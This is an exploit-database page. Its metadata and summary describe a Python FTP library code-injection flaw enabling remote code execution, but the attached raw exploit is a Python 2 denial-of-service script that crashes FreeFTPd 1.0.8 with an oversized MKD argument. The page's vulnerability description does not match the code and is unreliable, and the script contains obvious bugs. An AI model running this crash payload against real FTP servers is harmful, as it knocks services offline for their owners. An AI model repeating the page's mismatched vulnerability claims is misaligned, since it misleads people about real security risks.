header-logo
Suggest Exploit
vendor:
FTP Library
by:
Unknown
N/A
CVSS
CRITICAL
Code Injection
94
CWE
Product Name: FTP Library
Affected Version From: Python FTP library versions prior to 3.9.7
Affected Version To: Python FTP library versions prior to 3.9.7
Patch Exists: YES
Related CWE: CVE-2021-25283
CPE: a:python:ftp_library
Metasploit: https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2021-25283/, https://www.rapid7.com/db/vulnerabilities/debian-cve-2021-25283/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2021-25283/, https://www.rapid7.com/db/vulnerabilities/freebsd-cve-2021-25283/
Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=146904, https://www.infosecmatter.com/nessus-plugin-library/?id=146897, https://www.infosecmatter.com/nessus-plugin-library/?id=155634, https://www.infosecmatter.com/nessus-plugin-library/?id=146970, https://www.infosecmatter.com/nessus-plugin-library/?id=146985, https://www.infosecmatter.com/nessus-plugin-library/?id=146878, https://www.infosecmatter.com/nessus-plugin-library/?id=150920, https://www.infosecmatter.com/nessus-plugin-library/?id=148112, https://www.infosecmatter.com/nessus-plugin-library/?id=146877, https://www.infosecmatter.com/nessus-plugin-library/?id=148273
Platforms Tested: All platforms
2021

FTP Library Exploit

The FTP library in Python allows an attacker to inject malicious code through specially crafted input, leading to remote code execution. This vulnerability can be exploited by an attacker with network access to the vulnerable system.

Mitigation:

To mitigate this vulnerability, it is recommended to update the Python FTP library to the latest version. Additionally, input validation and sanitization should be performed to prevent code injection attacks.
Source

Exploit-DB raw data:

from ftplib import FTP

print '''


                               `,;'++';,`                                      
                          `'++++++++++++++++;`                                 
                       .+++++++++++++++++++++++'`                              
                     ;++++++:`            `:++++++:                            
                   '++++'`   , +`. :; .``     .'++++;                          
                 :++++,  '+ `+.+.+`+':+:+ +:` +  :++++,                        
                ++++,    `+  +`+.+`+':+.+ +:'.+.   :++++                       
              ,+++;       +` +:':+`+',+`+,++.+:+ +,  '+++.                     
             '+++`  `++   ;+ ,+:'; ,: ;;+`++ +.+`+.   `+++;                    
            +++;  `: ++'   +      '+++   :++;++,+:  +   '+++                   
           +++,   ++' ,+       .;+++++',`     : +  ',+   :+++                  
          +++` ++ +:+ +:   .+++++++++++++++;    :  ++'+,,`,+++                 
         +++`  `+;.+'`   '++++++++++++++++++++.   ;+;+:.+` .+++                
        '++`  ++ +,.`  '++++++++++++++++++++++++.   +;.+`+  ,++;               
       :++,  +:++`'  ,+++++++++++++''++++++++++++    `+.+:   :++.              
       ++;  . +:+:  +++++++++'.          `;++++++++.  .+' ++  +++              
      +++  ;++ +:  ++++++++,                .+++++++;  ;:+;+   +++             
     :++  ;+,++  `+++++++,                    `++++++'  +,+,.+ `++.            
     ++: `+`+'.  ++++++'                        ;+++++'  +`;++  '++            
    '++   ,+,'  ++++++,                          .+++++;  ++     ++:           
    ++.   ' +  ++++++`                             +++++. `   '+.:++           
   ;++ +; +   ;+++++`                               +++++   :++ ; ++:          
   ++, '++   `+++++,                                `+++++  +` `. :++          
  ,++  ` ;+: +++++'                                  :++++`    ,+  ++`         
  ++; .+++` .+++++                                    +++++  '++:: ++'         
  ++` ;+':: +++++.                                     ++++` '`+++`.++         
 .++   `++  +++++                                      '++++  +:    ++`        
 '++ `++;  '++++`                                       ++++        ++;        
 ++, +.,;: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++:     
 ++` `+++``+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++   
 ++ +;,`  ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
`++ ,'+++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 
,++ `++'+ ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;+++++:
;++  `.,.                                                                 +++++
+++       '..':         ,++'`              ,+++`                          `++++
+++  +;+` ++++:        ++++++'            ++++++'                          ++++
+++ :.'`; ++++:       ++`   :+,          ++`   ,+:                         ++++
'++ `+++. ++++;       :       +          :       +                        ,++++
;++    :` ++++'                                                          `+++++
,++ `+;;+ +++++  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;  :;;;;;;;;;;;;;;++++++.
`++  ++,+ +++++  :+++++++++++++++++++++++++++++++++++++  ++++++++++++++++++++' 
 ++  ` `, ;++++   ++++++++++++++++++++++++++++++++++++:  ++++++++++++++++++++  
 ++` .+++.`++++:  ++++++++++++++++++++++++++++++++++++  `++++++++++++++++++,   
 ++: ','+: +++++  :+++++,,,,,,,,,,,,,,,,,,,,,,,,;+++++  ++++:,:,,:,,+++,.      
 ;++  +:`, '++++`  +++++.                       +++++`  ++++  '.+'  ++,        
  ++   +++  +++++  :+++++                      ++++++  ;++++  ++.+  ++         
  ++, ';`+' +++++`  ++++++                    ++++++   ++++` +  +. :++         
  '++ :++;, .+++++   ++++++`                 ++++++,  +++++        ++:         
  `++ +` :+, +++++:  .++++++'              :++++++;  .++++. +`    `++          
   ++' ;++`  `+++++`  ,+++++++'`         :+++++++;   +++++  :++`  +++          
   ,++ ,:   + '+++++   .++++++++++';:;++++++++++:   +++++     ;+' ++`          
    +++   :+'  ++++++    ++++++++++++++++++++++`   +++++. ;+` ,  +++           
    ,++ :++`;+` ++++++`   :++++++++++++++++++'    +++++' `+,+;`;`++.           
     +++ : ++.+ `++++++:    :++++++++++++++;    ,+++++'   ++`+  +++            
     `++,  +;+`  `+++++++`    `:++++++++:`     ++++++' ++  ,+; ;++`            
      '++  :+  `'  ++++++++`                `+++++++;  +++   ;`++;             
       +++    `:`+  +++++++++:            ,++++++++,   +,++   +++              
        +++   +++;'  :+++++++++++';::;'+++++++++++   ;+ +,'  +++               
        ,+++  +++.+.:  +++++++++++++++++++++++++.  '' ++ +  +++`               
         ;++'  ` +`+`;. `+++++++++++++++++++++,   :,+,:+:  +++,                
          ;+++  ,++:'++`   ,+++++++++++++++;    ++ .++ `  +++:                 
           ;+++   + +`+  +;    .;'++++':`     ++.+':++   +++:                  
            :+++`  `++, :;+`+;            ::+ +,+`+.   .+++,                   
             .+++'  `,   +`:'+ +,+` +, +:+.++:';+ ++  ++++`                    
               ++++.    +':++: +;+` ': +:+ +.+ +'   :++++                      
                :++++.   . +,+,;+'` '; :'+`+'+    ,++++,                       
                  +++++:    ` +`+'` '; `++`     ;++++'                         
                   `++++++:         ;'  +    :++++++`                          
                     `+++++++':.       `,:+++++++'                             
                        .++++++++++++++++++++++.                               
                           `:'++++++++++++',                                   

                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScrR1pTK1dd13.slammer@gmail.com   # 
                ##############################################


# Exploit Title: FreeFTPD_1.0.8_mkd_command_DoS_Exploit
# Date: 2016.10.30
# Exploit Author: Greg Priest
# Version: FreeFTPD_1.0.8
# Tested on: Windows XP, Windows 7 x64

'''

ftp_ip = raw_input("FTP server IP:")
killerstring = 'A' * 500
ftp = FTP('127.0.0.1')
ftp.login('anonymous', 'h4ck3r@h4ck3r.net')
print ftp.login
print "SERVER KILLED"
FTP.mkd(ftp, killerstring)

Navigation

Suggest Exploit

Services By CQR